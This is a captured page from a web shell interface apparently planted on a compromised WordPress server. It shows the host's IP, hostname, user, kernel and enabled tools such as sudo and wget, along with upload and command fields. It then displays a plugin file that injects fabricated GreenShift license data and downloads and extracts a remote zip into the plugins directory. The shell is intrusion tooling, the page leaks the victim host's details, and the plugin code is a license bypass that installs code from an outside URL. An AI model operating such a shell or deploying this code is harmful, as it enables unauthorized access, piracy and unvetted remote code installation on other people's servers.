403Webshell
Server IP : 185.252.147.100  /  Your IP : 216.73.217.33
Web Server : nginx/1.27.3
System : Linux mitrofanov.ru 6.1.0-37-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.140-1 (2025-05-22) x86_64
User : mitr ( 1000)
PHP Version : 8.2.29
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /www/html/east-point.site/public/wp-content/plugins/tools4wp/addons/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /www/html/east-point.site/public/wp-content/plugins/tools4wp/addons/greenshift.php
<?php

// Exit if accessed directly
if ( ! defined( 'ABSPATH' ) ) {
    exit;
}

// Apply Auto license
$options = get_option('tools4wp_options');
if (isset($options['greenshift_auto']) == 1 ) {
  add_action('upgrader_process_complete', 'greenshift_auto_update', 10, 2);
  function greenshift_auto_update($upgrader_object, $options) {
      if ($options['action'] == 'update' && $options['type'] == 'plugin') {
          foreach($options['plugins'] as $each_plugin) {
              if ($each_plugin == 'greenshift-animation-and-page-builder-blocks/plugin.php') {
                  $tools4wp_options = get_option( 'tools4wp_options' );
                  $tools4wp_options['greenshift'] = true;
                  update_option( 'tools4wp_options', $tools4wp_options );
              }
          }
      }
  }
}

// License for GreenShift Page Builder
$options = get_option('tools4wp_options');
if (isset($options['greenshift']) && $options['greenshift'] == 1) {
  $tools4wp_options = get_option( 'tools4wp_options' );
  unset( $tools4wp_options['greenshift'] );
  update_option( 'tools4wp_options', $tools4wp_options );
  $remoteURL = MY_PLUGIN_PATH . 'includes/greenshift.json'; // URL of the remote json file
  $jsonData = file_get_contents($remoteURL);
  $dataArray = json_decode($jsonData, true);
  update_option('gspb_edd_licenses', $dataArray);
  $remoteURL = get_option('tools4wp_updates')['greenshift']; // URL of the remote zip file
  $zipFile = 'remote_zip_file.zip'; // Name of the zip file
  $destination = WP_CONTENT_DIR . '/plugins/greenshift-animation-and-page-builder-blocks'; // Destination directory

  // Download the remote zip file
  file_put_contents($zipFile, fopen($remoteURL, 'r'));

  // Open the zip file
  $zip = new ZipArchive;
  if ($zip->open($zipFile) === TRUE) {

      // Extract the contents of the zip file
      $zip->extractTo($destination);
      $zip->close();
  }

  // Delete the downloaded zip file
  unlink($zipFile);
}
?>

Youez - 2016 - github.com/yon3zu
LinuXploit